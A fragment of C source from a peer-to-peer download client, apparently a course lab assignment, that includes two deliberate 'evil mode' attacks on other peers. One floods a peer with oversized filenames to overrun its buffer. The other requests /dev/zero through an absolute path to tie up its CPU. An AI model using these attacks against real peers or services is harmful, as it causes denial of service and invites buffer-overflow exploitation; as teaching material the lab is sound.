} else if (t->peer_list->addr.s_addr == listen_addr.s_addr
&& t->peer_list->port == listen_port)
goto try_again;
// Connect to the peer and write the GET command
message("* Connecting to %s:%d to download '%s'\n",
inet_ntoa(t->peer_list->addr), t->peer_list->port,
t->filename);
t->peer_fd = open_socket(t->peer_list->addr, t->peer_list->port);
if (t->peer_fd == -1) {
error("* Cannot connect to peer: %s\n", strerror(errno));
goto try_again;
}
osp2p_writef(t->peer_fd, "GET %s OSP2P\n", t->filename);
// 3B Evil mode 1
// Instead of reading and copying, we attack the peer's buffer by continuesly requesting with a bad file name that's too large.
// We could potentially insert executable code into the buffer that the further tamer with the system.
if (evil_mode == 1)
{
int i;
char bad_file_name[FILENAMESIZ*10];
strncpy(bad_file_name, "/dev/urandom", FILENAMESIZ*10-1);
while (osp2p_writef(t->peer_fd, "GET %s OSP2P", bad_file_name) < 0) continue;
message("* Target Peer's buffer rejected final request.");
//now attack other peer's with the same file.
goto try_again;
}
// 3B Evil mode 3
// This attack attempts to download files outside of the current directory
// In this case we try to access /dev/zero, which will cause the peer to get stuck in write loops and consuming CPU time.
// Other absolute paths can be made if we first download directory information to access files.
if (evil_mode == 3)
{
char absolute_path[FILENAMESIZ*3] = "/dev/zero";
osp2p_writef(t->peer_fd, "GET %s OSP2P", absolute_path);
goto try_again;
}
// Open disk file for the result.
// If the filename already exists, save the file in a name like
// "foo.txt~1~". However, if there are 50 local files, don't download
// at all.
for (i = 0; i < 50; i++) {
if (i == 0)
// This length is okay because both buffers are equivalently
// of size FILENAMESIZ.
strcpy(t->disk_filename, t->filename);
else {
// 2A: We need to check for this buffer overrun: the four characters
// might push the filename to be over the limit.
if(strlen(t->filename) + 4 > FILENAMESIZ - 1) {
error("* '%s~%d~' would exceed the filename size limit\n",
t->filename, i);
task_free(t);
return;
} else
sprintf(t->disk_filename, "%s~%d~", t->filename, i);
}
t->disk_fd = open(t->disk_filename,
O_WRONLY | O_CREAT | O_EXCL, 0666);
if (t->disk_fd == -1 && errno != EEXIST) {
error("* Cannot open local file");
goto try_again;
} else if (t->disk_fd != -1) {
message("* Saving result to '%s'\n", t->disk_filename);
break;
}
}
if (t->disk_fd == -1) {
error("* Too many local files like '%s' exist already.\n\
* Try 'rm %s.~*~' to remove them.\n", t->filename, t->filename);
task_free(t);
return;
}
